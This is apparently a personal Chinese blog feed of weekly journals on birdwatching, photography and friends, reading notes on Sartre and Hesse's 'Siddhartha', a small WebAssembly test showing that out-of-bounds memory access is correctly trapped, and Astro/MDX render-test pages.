这背后依赖的是一个客户端？还是什么，我想开发一个网页，然后能够调用这个sse的 mcp tool

现在研究的都还是mcp server，mcp client还需要进一步研究：

那就又是另一个事情了

周报37 重新拾起的写作

Sun, 06 Jul 2025 00:00:00 GMT

已经有4个月没有好好开始写作了，其实这段时间里，有很多值得被记录的事情，但总是提不起劲来写，人总是有惯性的，这种惯性的力量之于我仿佛更加强大。

做一件事，冷启动是最难的，与之对应的，热停止也是很难的（hhh我造的词），但只要迈过了这个坎，就能如同冰雪消融后的春天到来一般美好。

也不扯太多有的没的了，我还是想坚持记录下自己的想法和生活经历，但与之前不同，这次的首发平台我选择了medium，不再是xlog了，不过也会同步更新文章上去。

xlog之前有几次不太好的体验，比如存储草稿没办法多端同步，比如评论区的管控，还有之前点击发布文章之后就会发布好多重复的，这些让我很困恼，但是也没有心思去反馈了，xlog确实是我非常喜欢的平台。

写作平台切换

这次我选择了medium，这也是我一直非常喜欢的一个平台，虽然这里面的文章有时候给我一种标题党的感觉，但这个简洁优雅的平台还是让我有种被吸引住的感觉，我没有什么心思去吹有多好的体验hh，因为感觉很容易被打脸，但目前阶段，我还是觉得web2的体验比web3好太多了，可能是我真的被监管给pua的吧hh

写作内容还是以技术文章+生活文章为主，离别歌大佬曾今写过这段话，我认为值得多次品读：

经常有人问我，我是怎么成长起来的。我今天在这里分享一个最简单的答案：对技术，我是有目标的，我的目标很简单，就是让我的博客不停更。如果有一段时间我博客一个月没有新文章，我就会特别着急，我会想我能研究什么东西，然后写一篇日记。当然，慢慢的我发现，自己经常会有时间研究各种东西（不用愁没有东西写），当然也会失败，失败并不可怕，可怕的是没有竭尽全力就半途而废。我也做过很多半途而废的事情，也说过很多不负责的言论，但这些点滴都在我的博客里我永远不会删。安全界有个很知名的理论：“不能够相信用户的所有输入”，但我坚决不支持这句话被放到现实生活中，我选择相信而不是怀疑。怀疑的生活会变得很累，如果你总是考虑怎样去防范他人。

其实我也没有什么自己的思考，在停止更新的这段时间里，基本上也是用flomo来进行记录及日常回顾的，我也只是一个不断吸收信息然后过滤再转述的人罢了。

正好我在写这篇文章的过程中，发现medium又开始提示我保存失败了，估计是又检测到了什么关键词之类的吧。。。放弃了，果然被打脸了

那我还是重新回到typora的写作吧，目前的写作方案就是typora写作，picgo+腾讯云cos作为图床存储，再使用坚果云备份文章（坚果云有1G上传流量，对于纯文本来说绝对是够用了，其实一直想搞个nas的，但奈何家里网络条件太差了）

莲花山打鸟

非原图，原图太大了，我怕CDN流量超标hhh，都是朋友圈压缩过后的，所以噪点会比较多

周五晚上没睡好加上空调温度太低，导致我早上起来极度不适，于是索性休了一天年假，在家宅了下，死亡搁浅的进度推进不是很多。

休息一天还是会让自己心情好点，并且睡眠质量也得到了恢复。周六一大早，六点二十左右，当一般打工人还在睡梦中的时候，我已经带着我的相机前往莲花山去找小鸟了

林鸟其实是很难拍的，因为林鸟普遍都藏在山高林密的树丛里，走在山间的小路上，空气很是清新，但其实这时候只是空气清新而已，氧气浓度并不是很高（这是很简单的生物学知识，因为晚上植物都是在进行呼吸作用的呀哈哈哈）

但我还是想挑战下林鸟的拍摄，提前在小红书上找好了攻略，其实也就是一些经验贴，但并不能保证自己就能遇到的刚刚好，在漾日湖边找了找，只看到几只天鹅，于是继续往山里进发

树林荫翳，鸣声上下，只有在山中才能体会到欧阳修笔下这句话的意境

欸那只，学名叫斑颈穗（sui）鹛（mei），毛的颜色和树枝很像，让本就因早起而视线模糊的我分辨了好久

但是林鸟真的太难找了，我走了好久，明明听到了好多只的叫声，但就是找不到，正当我准备放弃的时候，抬头一看，枝头上停了一只红耳鹎（bei），红色的小点点点在眼睛正下方，真的好漂亮哈哈哈（但还是没有小翠漂亮/doge）

还是准备考虑购入一个望远镜了，纯靠肉眼和相机定位有时候挺困难的，望远镜的视野更大，更方便找鸟，不过还是等我多出去拍拍吧

满格家吃饭饭！

继5.2去满格家玩之后，再一次又去满格家蹭饭了，这次还带上了我的switch，相机及无人机（东西有点点多）

顺带一提，switch的玛利欧派对游戏，直接把我和hh给整崩溃了哈哈哈，我们的运气也太差了吧

但不管怎样，满格的手艺是不会让我们失望的，下图如果不说是在满格家，会真的以为是在饭店啊！

z8+24120拍摄，非原图，微信朋友圈已经帮我压缩过一遍了

与买桂花同载酒，终不似，少年游~

当然还少不了可爱的冲冲：

以及没有迟到的晚霞，当天都下了一阵雨，我们听着外面的雨声，在房间里玩三国杀和switch游戏，临近7点时，我从窗户边看向天空，发现天空竟然意外的蓝，于是果断上楼，终究还是没有错过绝美的晚霞

《存在主义是一种人道主义》读后记录

Thu, 03 Jul 2025 00:00:00 GMT

引言

《存在主义是一种人道主义》这本书其实是萨特的一篇演讲稿，正如作者在开头所说到的，“是针对几种存在主义的责难为他辩护”，有人认为存在主义是一种悲观的学说，“鼓励人们对人生采取无所作为的绝望态度”。而共产党人则批判存在主义给了人太多选择，这是一种犹豫不决的“观望”，是“另一种资产阶级哲学”。萨特为了回应这些责难，在这篇文章中深入地探讨了存在主义的核心思想————存在先于本质，人是自由的、选择塑造自我，以及选择如何影响他人与世界。

存在先于本质：英雄还是懦夫，你自己选择罢

“存在先于本质”，但凡了解过存在主义的人基本都听过这句话，但这句话又经常被人误解。其实很简单：人并不是被预先设定好的成品。我举个再简单不过的例子吧，我们这些上班族，整天说自己是牛马，是打工人，但其实没有任何人能定义我们的本质，我们之所以成为牛马，成为打工人，其实都是我们自身的选择。

“没有任何人”，即不存在上帝，传统观念认为，人由上帝创造，带着固定的“本质”——比如理性、道德或善良，就像工匠制造裁纸刀时心中已有刀的用途和形状。就像我们传统文化中，孟子宣扬”人性本善”，荀子宣扬“人性本恶”，存在主义则直接掀翻了这个桌子：没有上帝，没有预设的本质，没有所谓性本善，性本恶，人只是先“存在”，然后通过自己的选择，逐渐塑造出自己的“本质”

举个例子，你是英雄还是懦夫？不是天生的，而是你通过一次次选择决定的。比如，你选择在危急时刻挺身而出，你就成为了英雄；选择退缩，你可能就成为了懦夫。正如萨特所说：“人除了自己认为的那样以外，什么都不是。” 这不仅意味着你是你所认为的模样，更是你愿意成为的模样。你的人生是你主动设计的结果，而不是被动的命运安排。

这种观点让人一下子解放出来，但是又让人感到无所适从，你看上去似乎有无限地可能去塑造自己，萨特在书中讲了一个笑话，一位“因为说了句脏话就自称存在主义者”的老太太，她的选择——即使是满口脏话——也是她对自己人生的定义。

那么真的是这样吗？存在主义就是在鼓励人们夜夜笙歌，即时享乐，追求自由吗？

自由的代价：你以为的礼物，命运早已标好了价格

萨特在书中表明了自己的观点，存在主义的自由并非轻松的礼物，而是一份沉重的责任。因为没有上帝、没有预设的道德准则、人必须独自面对选择，并且承担后果。

萨特用一个军事领袖的例子说明了这种“痛苦”：一个指挥官接到进攻的命令，但他必须决定如何执行，多少士兵的生命将取决于他的判断。他无法逃避选择，也无法完全推卸责任，因为即使“服从命令”也是一种选择。

再比如，想象你是一名医生，面对一位癌症晚期患者：做高风险手术可能带来20%的生存希望，但也有30%的死亡风险；不做手术，患者可能只剩三个月生命。你必须选择，而选择的结果可能带来巨大的心理负担。这种“没有标准答案”的处境，正是存在主义所谓的“痛苦”。

正如萨特所说：“所有的领袖都懂得这种痛苦。它阻止不了他们采取行动；相反，它是他们行动的真正条件。”

这种痛苦并非消极的绝望，而是行动的前提。因为人必须向前走，即使不选择也是一种选择。你无法停滞，只能通过行动定义自己。

他人即地狱：你的自由影响世界，他人的自由也在影响你

存在主义的另一个核心观点是：你的选择不仅塑造了自己，也在塑造他人，甚至整个世界。

萨特认为，当你选择成为某种人时，你在心中树立了一个“人应该如此”的形象。比如，你选择做一个诚实的人，你不仅在塑造自己的诚实，也在向世界宣告“人应该诚实”。反过来，如果你选择做坏事，你也得扪心自问：如果人人都这样做，世界会变成什么样？

这种相互影响要追溯到现象学了，比如你看到的苹果是红色的，别人大概率也是如此；你面对的困境，比如学业压力或职场挫折，别人也可能感同身受。因此，你的行动会成为他人的参照，就像有人在大街上抬头望天，周围的人也会不自觉地跟着看。

这种“他人即地狱，他人亦天堂”的悖论，揭示了我们生活在一个“主观性林立”的世界里：每个人的自由选择都在相互映射、相互影响。

萨特举例说：“我在创造一种我希望人人都如此的人的形象。在模铸自己时，我模铸了人。”

这意味着，你的每一次选择都在为人类书写一个可能的未来。伟人如甘地、马克思，他们的选择不仅定义了自己，也为人类的解放树立了榜样。你呢？你希望成为什么样的人？你的选择又将如何影响他人？

没有借口：自由与责任的不可分割

存在主义的自由是彻底的，但也因此令人不安。你无法用“天生如此”或“环境所迫”来为自己开脱。比如，一个将军如果把失败归咎于“上级的命令”，他就是在逃避自由，萨特称之为“懦夫”。同样，如果你说“我本可以成功，只是没有机会”，存在主义会反驳：你没有行动，所以你没有那种“成功的本质”。莫言、余华的天才体现在他的作品中，离开了行动，天才不过是空谈。

这种彻底的自由意味着，你必须为自己的选择负全责。萨特说：“没有任何普遍的道德准则能指点你应当怎样做：世界上没有任何的天降标志。”

你咨询别人时，其实早已在心中选择了你想听的答案，就像《解忧杂货店》里的老爷爷所说：人们来问建议时，其实已经有了答案。这再次提醒我们：选择是你自己的，责任也是你自己的。

存在主义的乐观：行动创造意义

尽管存在主义强调自由的痛苦和责任的沉重，它却是一种乐观的哲学。为什么？因为它相信人可以通过行动创造意义。

基督教的绝望源于“被上帝抛弃”，而存在主义的“绝望”却是对自由的清醒认识：你必须靠自己赋予人生意义。

萨特说：“存在主义是乐观的。它是一个行动的学说。” 人生的意义不在于预设的本质，而在于你通过行动不断书写的故事。

你的每一次选择、每一次行动，都是在塑造你自己。你是你的经历、你的情感、你的痛苦与欢乐的总和。

正如萨特所说：“一个人不多不少就是他的一系列行径。”

你接触过的人、走过的路、吃过的烧烤摊、迷失过的夜晚，都构成了此刻的你。而未来，你依然可以通过选择去成为你想成为的模样。

结语

总结下萨特的观点：

存在主义绝对不是让人沉溺于绝望的学说，相反，它唤醒了我们的自由，并告诉我们，人没有固定的本质，只有通过不断的选择和行动，我们才能定义自己
存在主义的自由绝不是放纵的自由，而是沉重的负担，也是无限的可能性。

最后以萨特的话来结尾吧：“你是自由的，所以你选择吧——这就是说，去发明吧。”

ps. 当然你也可以选择不读这篇文章，一切取决于你，不过都读到这里了，求个赞不过分吧哈哈

wasm内存访问研究

Wed, 02 Jul 2025 00:00:00 GMT

wasm内存访问研究

title: wasm内存访问研究 tags:

wasm内存越界读写测试

手工编写一个wasm模块，wat代码如下:

声明需要一段内存空间
暴露两个函数，写内存和读内存，之后在js代码中调用

(module
  ;;声明需要提供内存
  (import "env" "memory" (memory 1 2)) ;; 初始 1 页，最大 2 页

  ;; 写入 i32 到内存[offset]
  (func (export "writeToMemory") (param i32) (param i32)
    (i32.store
      (local.get 0)
      (local.get 1)
    )
  )

  ;; 从内存[offset] 读取 i32
  (func (export "readFromMemory") (param i32) (result i32)
    (i32.load
      (local.get 0)
    )
  )
)

然后编译为为wasm模块

wat2wasm memory_test.wat -o memory_test.wasm

编写js代码

const fs = require('fs');

(async () => {
  const memory = new WebAssembly.Memory({ initial: 1, maximum: 2 });

  const importObject = {
    env: {
      memory: memory
    }
  };
  // 读取wasm，分配内存
  const wasmBuffer = fs.readFileSync('./memory_test.wasm');
  const wasmModule = await WebAssembly.instantiate(wasmBuffer, importObject);

  const { writeToMemory, readFromMemory} = wasmModule.instance.exports;

  const inBoundsOffset = 65532; // 正常偏移
  const outOfBoundsOffset = 70000; // 越界偏移

  // 测试正常写入和读取
  writeToMemory(inBoundsOffset, 123456);
  console.log("读取数据:", readFromMemory(inBoundsOffset));

  try {
    // 👇 试图越界写入
    console.log("尝试越界写数据");
    writeToMemory(outOfBoundsOffset, 999);
  } catch (err) {
    console.error("越界写错误:", err.message);
    console.log(err);
  }

  try {
    // 👇 试图越界读取
    console.log("尝试越界读数据");
    console.log(readFromMemory(outOfBoundsOffset));
  } catch (err) {
    console.error("越界读错误:", err.message);
    console.log(err);
  }
})();

运行结果，可以发现此时是报错的

❯ node main.js
读取数据: 123456
尝试越界写数据
越界写错误: memory access out of bounds
RuntimeError: memory access out of bounds
    at wasm://wasm/488cc87e:wasm-function[0]:0x59
    at /Users/rayepeng/Documents/code/wasm-memory-test/main.js:26:5
尝试越界读数据
越界读错误: memory access out of bounds
RuntimeError: memory access out of bounds
    at wasm://wasm/488cc87e:wasm-function[1]:0x61
    at /Users/rayepeng/Documents/code/wasm-memory-test/main.js:35:17

周报38 汕尾之行

Wed, 02 Jul 2025 00:00:00 GMT

周报38 汕尾之行

title: 周报38 汕尾之行 tags:

打鸟

这是一篇拾遗文章，作为我的回忆补充

跟着山羊老师一起去汕尾吃喝玩乐+观鸟~

也是在读书分享会上第一次认识了山羊老师，然后知道了观鸟这种偏小众的爱好，恰逢深圳每到冬季，总有大批的候鸟来深圳过冬，深圳湾好多好多的海鸥、黑脸琵鹭，简直就是观鸟爱好者的天堂哈哈哈

于是也开始入坑了观鸟和打鸟，设备升级了一轮哈哈哈，跟随着山羊老师的安排去了汕尾观鸟，喜提自然名——小翠

不得不说山羊老师的安排非常合理，我们下高铁后就直奔住宿点，就在高铁站周围，环境尚可，楼下还有家烧烤店笑死

紧接着的两天行程也安排的满满当当，本来规划自驾的，但考虑到去的地方都很偏僻，所以选择了包车，事后发现这是一个非常英明的决策，因为很多路段，不是老司机真的不会开

第一次外出实地观鸟，新手光环buff叠满，我们直接远远地看到了彩鹮，在中国被认为灭绝了将近70年，近些年才有记录，被称为鸟中大熊猫

这是它原本的样子：

当然还有很多记录下来的鸟儿，不过为了节省点CDN基本都是压缩后的图片了，权且记录下

如何看待记录流水账

Wed, 02 Jul 2025 00:00:00 GMT

如何看待记录流水账

title: 如何看待记录流水账 tags:

生活
思考

回看我的flomo记录，以“博客”关键词搜索，可以发现我的一些思考过程：

觉得自己的周报是在记流水账

但是我又实在是没有太多能写的东西，我感觉记录每周发生的事情，是一种好的方式，但长期的流水账记录，让我不禁有些厌烦，文章应该言之有物，至少表明一个主题思想吧，仅仅是把自己的生活呈现出来，放上几张带自己水印的照片，越来越多的注重在图片上，而不是文字本身，似乎有失一点博客原本的价值了

博客到底是为什么而写？

写博客的人基本上都说为自己写作，但是又有谁能真正做到这一点？读者的赞美、搜索引擎的流量，正慢慢地改变我们的写作方式，即使没有人直截了当地对你说，我想看这个，但还是会为了满足想象中的读者需要而写作。及时止损，即使要做一个“违背祖宗”的决定。

写博客的动力是什么？

于是我开始重新审视自己，最开始写博客的动力是什么？利用2P法，应该有两个：

持续不断地让自己输出有价值的东西

记录自己生活的点滴，形成自己的“快照”

吐槽

圈子混久了就会觉得这群人都有毛病

说实话我有点反感独立博客的那群人了

我不喜欢自以为是的沟通

停更的原因里，“流水账”这个算是一个比较重要的原因，这周做了啥，发生了什么有意思的事情，以及拍了哪些照片，感觉每次都是这个套路，那这究竟有什么意义呢？

意义当然是有的，我们的思维常常过于跳跃，就如同看到白臂膊，马上联想到一系列事情，看到“流水账”这个词，马上也会想到一些不好的东西，觉得这是坏的

但我还是要问一句，真的就是这样么？流水账就真没用吗？你怎么去定义流水账呢？

我们暂且不去考究这个词原来的含义（只是我懒得去整理了），流水账与之关联的词往往有：“枯燥”，“乏味”，“无聊”，“缺乏思考”，这些词算是一篇文章可以被称之为“流水账”的必要条件了，注意并不是充分条件

我们为什么害怕流水账呢？本质上就是担心自己写的东西被认为是无聊或者balabala，那只要不无聊，只要有读者（自己也算是读者），只要读者觉得有趣（实际上也确是，经常回看的时候会发现原来我还经历过这么有趣的生活呀），这就足够了

传说曾经有个国家，生活在这里的人记忆力都非常差，往往前一秒发生的事情，这一秒已经忘了，于是他们想了个办法，随身都带着一只笔，不停地记录

于是你会发现这个国家的人在对话的时候特别有意思，一边嘴上在说，一边手里不停的在写，还要时不时看看自己所写的内容。

你会觉得他们很可悲，因为我们的记忆力足够强，我们可以记住很多生命当中非常重要的事情

但我宁愿成为那个国家的人，因为我愿意保持记录，随时回看自己的记录

当然，这个故事是我瞎编的哈哈哈

Markdown Render Test — Full Format Verification

Fri, 06 Jun 2025 00:00:00 GMT

This document exercises every Markdown / MDX element supported by the astrofu pipeline. If anything renders incorrectly, fix it here before migrating any real content.

Headings & Anchors

H3 — Should Have a Trailing `#` Anchor

Each heading above should render a clickable # on the right via rehype-autolink-headings (behavior: 'append'). Clicking it should jump to the corresponding fragment URL.

H4 — Deeper Heading

Inline Formatting

Bold text, italic text, ~~strikethrough~~, inline code, and a hyperlink to Astro docs.

Superscript: x<sup>2</sup>, subscript: H<sub>2</sub>O.

Mixed: bold with code inside and italic with a link.

Lists

Unordered

First item
Second item
- Nested item A
- Nested item B
Third item

Ordered

Step one
Step two
Step three

Task List

[x] Completed task
[ ] Pending task
[x] Another done item

Blockquotes

This is a simple blockquote. It can span multiple lines.

Nested quote:

This is a nested blockquote. It should render with deeper left border.

Tables

Feature	Status	Notes
Headings	✅	h1–h4 tested
Images	✅	See below
Code blocks	✅	Shiki dual-theme
GitHub Alerts	✅	NOTE / TIP / WARN

Right-aligned:

Name	Score
Alice	95
Bob	87

Images — Primary Focus

1. Small Image (200x100)

Should display at natural size, centered within prose container. No overflow.

2. Medium Image (800x400)

Should scale down if viewport is narrower than 800px. Should remain centered with proper figcaption.

3. Wide / Oversized Image (1600x600)

Critical test: must NOT overflow the prose container. Should scale to max-width: 100% and remain centered.

4. Image with Title Attribute

Hovering should display "Hover over this image to see a tooltip".

5. Image as a Link

Clicking the image should navigate to / (home page).

6. Image with Long Alt Text (Figcaption Check)

The <figcaption> element (if generated by prose.css) should wrap the alt text below the image.

7. Inline Image Within Paragraph

Here is an inline image: — it should sit on the same line as the text, vertically aligned to the baseline or middle.

Code Blocks

Plain (no language)

This is a plain code block with no language specified.
It should still render with the default theme colors.

TypeScript with Highlight

function greet(name: string): string {
  console.log('hello', name) // [!code highlight]
  return `Hi, ${name}!`
}

greet('astrofu')

Diff

- const old = 'Vite-SSG'
+ const next = 'Astro'

Word Highlight

const message = 'hello world' // [!code word:'hello']

GitHub Alerts

[!NOTE] This is a note alert. It should render with a blue left border and an i icon.

[!TIP] This is a tip alert. Green left border, lightbulb icon.

[!WARNING] This is a warning alert. Orange left border, warning icon.

[!CAUTION] This is a caution alert. Red left border, stop icon.

MagicLink Component

These should render with their respective logo icons:

<MagicLink to="Vue" client:visible />
<MagicLink to="Vite" client:visible />
<MagicLink to="Vitest" client:visible />
<MagicLink to="Nuxt" client:visible />
<MagicLink to="UnoCSS" client:visible />
<MagicLink to="TypeScript" client:visible />

HTML Inline Tags

Line break with<br />forced break.

<details> <summary>Click to expand details</summary>

Hidden content revealed on click. This tests raw HTML in MDX.

</details>

Horizontal Rule

Above and below should render <hr> elements.

Final Checklist

[ ] All headings have # anchor links
[ ] Images display centered, no overflow on wide image
[ ] ImageZoom works on all images (click to fullscreen)
[ ] Dark mode: images still visible, no broken backgrounds
[ ] Code blocks switch theme with dark/light mode
[ ] GitHub Alerts render with correct colors/icons
[ ] MagicLink components show logos
[ ] Table alignment correct
[ ] Task list checkboxes render

P3 — MDX Pipeline Demo

Sun, 01 Jun 2025 00:00:00 GMT

This page exists to verify P3 of the astrofu migration plan: the Markdown pipeline has been upgraded to MDX, headings get clickable # anchors via rehype-autolink-headings (behavior: 'append'), code blocks carry the .shiki class so the antfu.me markdown.css rules light up, and MDX components hydrate as Vue islands.

Magic links

Inline tech name with a logo: <MagicLink to="Vue" client:visible />, <MagicLink to="Vite" client:visible />, <MagicLink to="Astro" client:visible />, <MagicLink to="UnoCSS" client:visible />.

Code with notation transformers

function greet(name: string) {
  console.log('hello', name) // [!code highlight]
  return `hi, ${name}`
}

greet('astrofu')

- const old = 'antfu.me on Vite-SSG'
+ const next = 'astrofu on Astro'

GitHub-style alert

[!NOTE] If you can read this in a tinted box with an i icon and a colored left border, then remark-github-alerts is wired up correctly.

[!TIP] The ## Magic links heading above should have a small # to its right on hover — that is rehype-autolink-headings in append mode.

Inline `code` and a link

This paragraph contains inline code and an external link to the Astro docs — which should open in a new tab.

周报36 迟来的春节记录

Thu, 06 Mar 2025 00:00:00 GMT

周报36 迟来的春节记录

其实过年在家就应该记录一下的，但一直忘了hhh，在家基本都是在看书休息，也没做什么事情，但与以往不同的是，这次是第一次买了相机之后回家的

以往春节回家都是不太想出去的，天气冷，熟悉的朋友也基本都是要回乡下过年（我倒是不用回乡下，一直在城里），除了找找陌生人打羽毛球之外似乎也没啥能做的

但今年是第一次买了相机后带回家的，作为一名自诩为风光摄影师的刚入门新手，第一次有了一种迫不及待想要出门的动力，于是在回家的头两天，每天早上6点多就起床出门去爬山了

第一天早上没蹲到日出，但是天气还算不错，拍了几张西湖山的照片

第二天早上继续爬山，竟然第一次看到云海！尽管这座山也就200米出头，但却能真实地感受到云海的流动，以至于有朋友看了照片以为我是用无人机拍的

下山边修图的途中，《滕王阁序》的一句“俨骖騑于上路，访风景于崇阿”突然击中了我，细想一下还挺适合风光佬的其实过年在家就应该记录一下的，但一直忘了hhh，在家基本都是在看书休息，也没做什么事情，但与以往不同的是，这次是第一次买了相机之后回家的

第一天早上没蹲到日出，但是天气还算不错，拍了几张西湖山的照片

下山边修图的途中，《滕王阁序》的一句“俨骖騑于上路，访风景于崇阿”突然击中了我，细想一下还挺适合风光佬的

记录下春晚

漫才兄弟表演的太好了

我连续刷了好多次漫才兄弟的表演，非常上头，湖南塑普，加上无厘头的搞怪，他们在脱口秀的表演节目基本都是模拟某个场景，如租房，打车，去餐馆吃饭

这些场景中总是能融入一些对现实的讽刺，最后决赛的演出是模拟丧尸剧，其中一句“现在酒店不都有摄像头”，又好笑又直戳现实，更绝的是在最后的一小段两人历数所有演出的模拟场景，“你讲漫才的旁边一直是老子晓得不”哈哈哈哈太有意思了

周报35 法师桥的日落

Tue, 04 Mar 2025 00:00:00 GMT

周报35 法师桥的日落

日落

虽说来深圳很久了，但实际上也没有真正几次去过法师桥

太好看的落日了，跟随着一群老法师，后海大桥也因此得名为法师桥

下图是定定拍摄的，我在他的基础上进行了简单的调色处理，提亮建筑物的亮度会更好看一些

下图是我用iPhone13pro的超广角镜头拍摄的，整体的感觉氛围还是很棒的

谁让我的相机暂时没有超广角镜头呢，24端目前拍摄出的感觉是下图这样的

回想起从最初的相机小白，到现在已经买了两台相机加无人机加pocket，设备已经有点多了🤣

对于拍照的热爱也在不断累积，消息小红书上的推荐帖子基本都是摄影调色相关的。

调色也是我很喜欢做的，以前对于摄影的后期有误解，认为一定要直出才是最真实的，其实不过是对于自己懒惰的一种欺骗

因为相机不同于人眼，再好的拍摄器材也有自己的局限性，后期不过是将照片的色彩还原为自己肉眼所看到的

尤其是在强光，弱光，死光等各种情况下，其实都是需要后期参与的，而且后期的技术并不见得有多么复杂，基本的调色原理都是有迹可循的，饱和度，鲜艳度，明亮度，色调，色温，对比度，高光，阴影，白色色阶，黑色色阶，这些概念并没有那么难理解

写到这里，又想到了教员的话，“你想要获得第一手的资料吗？那末，你就去实地考察吧”，唯有实践才能出真知，“你要知道梨子的滋味，你就得变革梨子，亲口吃一吃。你要知道原子的组织同性质，你就得实行物理学和化学的实验，变革原子的情况”

游戏王实卡决斗

来一场真正的游戏王决斗吧！周日和hh进行了一场真正的决斗，如下是我用刻魔蛇眼卡组展开的终场，其实有点失误了，不过问题不大，后场盖得另外两张卡，一张是无限泡影，另一张则是墓穴的指名者

感觉很多人对游戏王还是存在偏见，其实这也是侧面反映出很多人对于自己不了解的事物，很容易忙着发表看法（反思下自己也是这样的）

譬如文杰问了我一个问题，“你们玩游戏王用的是什么规则”，我最开始觉得有些奇怪，毕竟游戏王的规则说明书是一直公开的，但转念就知道了，其实小时候玩的都是村规，大家根本不知道规则就在那里瞎玩

但我还是想给没有真正认识过这款游戏的人科普下，游戏王是世界三大TCG(集换式卡牌游戏)之一，另外两个分别是万智牌与宝可梦，游戏王的规则经过多次调整，现在已经是一个非常有趣耐玩的游戏了，不仅有线下实体卡，也有线上的电子游戏

游戏王的召唤方式在我看来就是其最大的创新，不得不佩服设计师的丰富的创意，从初代的上级召唤，融合召唤，仪式召唤开始，同调召唤可以说是非常富有设计感的一种召唤方式，调整怪兽，星级数相加，既有策略性又有趣味性。

超量怪兽的引入，正如其日文的xyz表述，在二维的卡牌上增加了立体的叠放动作，同时又限制了强力怪兽的效果发动次数。

灵摆怪兽，也是最大的一次创新，可以与前述任意一种召唤方式结合

链接召唤，一方面是为了降速，另一方面，链接箭头的设计，让二维平面上的卡牌之间又增加了一种联动关系

包饺子

周五晚上和满哥呱呱小狐影砸阿E安安以及706的朋友们一起包饺子

果然自己包饺子还是得蒸饺才最有容错性，煮饺子很容易失败，蒸饺子则相对稳定

忙活了好久，虽然我只会打打下手加包不太像样的饺子，但看到新鲜出炉的饺子还是很开心

值得分享的事物

好像也没啥太多值得分享的，欢迎 join 我的频道 https://t.me/RayeJourney

《悉达多：一首印度的诗》分享

Thu, 05 Dec 2024 00:00:00 GMT

《悉达多：一首印度的诗》分享

https://book.douban.com/subject/26980487/ 作者：赫尔曼·黑塞译者：姜乙

豆瓣简介：《悉达多》并非是佛陀的故事，它讲述了一个人的一生，千万寻常人亦会经历的一生。意气风发的少年郎，常认为自己是被命运选中的人。抛下过去，随了跌跌撞撞的步伐，找寻心中的声音，追逐名利，经历友情，品尝爱情。不同的是，悉达多一生追求的是生命的圆融统一，看似宏大，确是每个人无法回避的问题。黑塞的语言是充满诗性的，正如本书副题“一首印度的诗”，因不得而知的原因，此副题在前人所出版本中都被回避了。为了尽可能表现黑塞的诗意，我们选择从德文直译，尽管我们的译文不能完全实现这种诗意，但其诗的本性与精神显而易见。本书地位在前人的版本中已被反复强调——亨利·米勒的最爱；影响了包括电台司令在内的许多名人雅士；在六十年代美国掀起过阅读黑塞的热潮，大学生们人手一册等等。但如书中成为摆渡人的悉达多所述，智慧无法分享，它可以被发现，被体验。所以倘若你碰巧遇到了这本小书，请细细品味其中的文字。愿你在读了悉达多的故事后，也能有所感悟，并开始体验属于自己的人生。

关于这本书的故事 1967年，保罗柯艾略20岁，他被送进了巴西的一家精神病院里。他的名字你可能不熟悉，但是你肯定听过《牧羊少年的奇幻之旅》，作者就是保罗柯艾略。他的一生本来应该被精神病院葬送的，但是一本书拯救了他。（ps. 这本书是保罗柯艾略女朋友给他邮寄到精神病院的这本书就是我们今天要分享的《悉达多》。

我想很多人和精神病人保罗的感受是一样的，在读这本书的时候，内心期望的会是一个圣人的故事，但读完后不免有一些些失落，这本书除了语言异常优美外，似乎并不像许多人说的那样能解答人生的终极问题。

《悉达多》所讲述的，不过是一个世俗人的烦恼故事，似乎书中昙花一现的佛陀，才是许多人追求的目标，悉达多，这个人的内心怎么会有这么多阴暗的情感呢？这么多恐惧呢？

但保罗悟出来了，悉达多是执意要将自己的生命本质去寻找自我，在大千世界中不迷失自己。

在阅读完这本书之后的几天，保罗就出院了。出院当天，他回望精神病院的铁栏杆，想起精神病院里的疯子对他说，他们要一辈子待在精神病院里，与世隔绝永远不出去。为什么呢？因为外面的世界太难面对了。

这个时候，保罗柯艾略对自己说：我发誓，我选择生命。(ps. 我命油我不油天

好了这本书的分享就到这里为止了，我已经总结完了 /手动狗头（此处埋个伏笔）

佛陀是谁？佛陀，意为“觉悟者”，本名乔达摩·悉达多，又尊称为释迦牟尼佛陀生活在约公元前6至前5世纪的古印度，原本是释迦族的王子，后来出家修行，经过长期的修炼和思考，在菩提树下获得觉悟（菩提），成为“佛陀”，意为“觉悟者”或“开悟者”。

在你的心目中，佛陀是一个什么样的形象？是洞窟里的佛菩萨像？还是栩栩如生的壁画？亦或是在藏经洞里发现的画匠们创作的涂鸦草稿？

传言佛陀是生活在公元前5世纪的人，但要到公元2世纪左右，佛陀的形象才开始流行，不同地区的佛陀的形象各不相同，最开始的佛像更多的是一个“符号”，并不是代表真实存在的佛陀形象，主要是为了供后人忆念和瞻礼佛功德之用。、

《金刚经》中有言：“若见诸相非相，即见如来”，意思是说，要见到真正的“如来”，必须知道种种的外相都不具备永恒性。

既然最高境界是“诸相非相”，那为什么还要有这么多金碧辉煌的佛像呢？释迦牟尼也不过就是两千多年前的悉达多太子，怎么就变成了类似电视剧中“如来佛祖”一般的形象呢？

在佛教中，有“三身佛”的说法，即佛有三种身相，分别是“应化身”，“报身”和“法身”，觉悟程度深浅不同的人，所见到的佛就会呈现出不同的样貌。所谓“应化身”，如我等凡夫俗子，尚未觉悟，所以看到的佛陀就是和尚，跟平常人一样。已经觉悟的菩萨，所看到的佛陀形象则是庄严恢弘的，这就是佛的“报身”，“法身”，则是说真正的“佛”就是无形无相，随众生的心而显现出不同的样子。

最后，历史上是否真的有佛陀其人呢？

直到1898年，一位名叫佩普的英国工程师，他在印度比普罗瓦考古发现了一个装有佛陀遗骨的舍利瓮，而就在前一年的尼泊尔的蓝毗尼，尼泊尔总督雷纳将军和德国考古学家福勒博士，发现了在佛陀出生地出土的阿育王石柱。这些新发现最终让西方学者开始相信，佛陀并非是神话人物，而是曾经活生生地在印度行脚弘法的一位僧侣。

悉达多为什么要离家出走？

佛陀，即乔达摩·悉达多，大约在19岁成亲，娶了城中的美人耶输陀罗，但却在29岁毅然出家，经历数年苦修，终于35岁在菩提伽耶觉悟，然后在北印度赤足游历讲法45年，最终于80岁时在拘尸那迦涅槃。

佛陀本属于释迦族。释迦族本身属于刹帝利种姓，即贵族阶层。

在《悉达多》开篇，黑塞是这样形容悉达多的：

悉达多，俊美的婆罗门之子，年轻的鹰隼，在屋舍阴凉处，在河岸船旁的阳光中，在婆罗双林和无花果树的浓荫下，与他的好友，同为婆罗门之子的乔文达一道长大。

而最爱他的人是乔文达。他爱他的步态，他行动时的优雅完美。他爱悉达多的一切言行，但更爱他的精神，他崇高激昂的思想、强大的意志和高贵的使命感。

